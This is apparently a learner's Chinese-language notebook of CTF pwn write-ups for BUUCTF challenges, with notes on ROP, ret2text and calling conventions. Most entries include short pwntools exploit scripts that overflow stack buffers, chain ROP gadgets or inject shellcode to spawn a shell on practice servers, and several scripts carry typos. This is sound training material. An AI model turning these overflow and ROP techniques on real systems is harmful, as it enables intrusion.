一
tset_yours_nc
ida分析
直接ls cat 有flag
rip
进行checkec得64位 无保护 为栈溢出
ida
shift+F12有/bin/sh
进一步有fun函数f5
获得fun地址编写exp
from pwn import*
sh = remote('node4.buuoj.cn',27719)
#sh = process('./pwn1')
payload = b'a'*23+p64(0x40118A)
sh.sendline(payload)
sh.interactive()
cat得flag
warmup_csaw_2016
同样64位 无保护 栈溢出
找到cat flag
找到后门函数
构建exp
from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(0x40+8)+p64(0x400611+1)
p.sendline(payload)
p.interactive()
有flag
ciscn_2019_n_1
同是64位 有NX保护
ida
要使v2的值等于11.28125
找到其16进制表达41348000
构建exp
from pwn import
p=remote(“node5.buuoj.cn:26078)
payload=b’a'*(0x30-0x4)+p64(0x41348000)
p.spendline(payload)
p.interactive()
[HarekazeCTF2019]baby_rop.1
检查得64位开了NX保护
ida检查
payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
笔记
ROP即返回导向编程是一种计算机安全利用技术,它允许攻击者在存在诸如可执行空间保护和代码签名等安全防御的情况下执行代码。
在这种技术中,攻击者通过控制调用栈来劫持程序控制流,并执行机器内存中已存在的精心选择的机器指令序列,称为“gadgets”。
每个gadgets通常以返回指令结束,并位于现有程序和/或共享库代码中的子程序内。
这些gadgets串联在一起,允许攻击者在使用阻止更简单攻击的防御的机器上执行任意操作。
ROP的原理
ROP的原理是利用程序内存中已存在的以返回指令结尾的指令序列(gadgets)来控制程序执行流程。攻击者通过缓冲区溢出或其他方式在栈上布置数据,覆盖返回地址为gadgets的地址,从而实现代码注入。ROP可以绕过NX保护,因为它不需要在栈上执行任何新的代码,只需要利用现有的代码。ROP需要精心选择和拼接gadgets,以实现所需的功能。
ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护
ret2text前置条件
程序存在栈溢出漏洞,可以覆盖返回地址。
程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。
程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址
64位x86架构
- RDI (Destination Index): 用于传递第一个整数参数。
- RSI (Source Index): 用于传递第二个整数参数。
- RDX (Data Register): 用于传递第三个整数参数。
- RCX (Counter Register): 用于传递第四个整数参数。
- R8: 用于传递第五个整数参数。
- R9: 用于传递第六个整数参数。
如果函数的参数个数超过6个,则超过的参数直接使用栈来传递
0x400526 push rbp
0x400527 mov rbp, rsp
0x40052A sub rsp, 10h
0x40052E mov [rbp+var_8], 1 # 变量 a 赋值
0x400535 mov [rbp+var_4], 2 # 变量 b 赋值
0x40053C mov edx, [rbp+var_4] # 变量 b 传参
0x40053F mov eax, [rbp+var_8] # 变量 a 传参
0x400542 mov esi, edx # 变量 b 传参
0x400544 mov edi, eax # 变量 a 传参
0x400546 mov eax, 0
0x40054B call sum
0x400550 mov esi, eax
0x400552 mov edi, offset format ; "sum: %d"
0x400557 mov eax, 0
0x40055C call _printf
0x400561 nop
0x400562 leave
0x400563 retn 32位架构
所有参数直接使用栈来传递
0x0804840B lea ecx, [esp+4]
0x0804840F and esp, 0FFFFFFF0h
0x08048412 push dword ptr [ecx-4]
0x08048415 push ebp
0x08048416 mov ebp, esp
0x08048418 push ecx
0x08048419 sub esp, 14h
0x0804841C mov [ebp+var_10], 1 # 此处变量赋值 a
0x08048423 mov [ebp+var_C], 2 # 此处变量赋值 b
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C] # 此处往栈中压入 b 的地址
0x08048430 push [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433 call sum
0x08048438 add esp, 10h
0x0804843B sub esp, 8
0x0804843E push eax
0x0804843F push offset format ; "sum: %d"
0x08048444 call _printf
0x08048449 add esp, 10h
0x0804844C nop
0x0804844D mov ecx, [ebp+var_4]
0x08048450 leave
0x08048451 lea esp, [ecx-4]
0x08048454 ret
二
ciscn_2019_n_5
系统检查 64位 无保护
无 system 与 /bin/sh 可用,可以构造shellcode即可直接获取shell
from pwn import *
elf = ELF("/home/pwn/桌面/ciscn_2019_n_5")
p = process("/home/pwn/桌面/ciscn_2019_n_5")
context(arch='amd64', os='linux')
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
p.sendlineafter('tell me your name\n', shellcode)
payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)
p.interactive()
jarvisoj_level2
检查 32位 有NX保护
ida
binsh_addr = 0804A024
payload = b’a’*(136+4)+ p32(system_addr)+p32(main_addr)+p32(binsh_addr)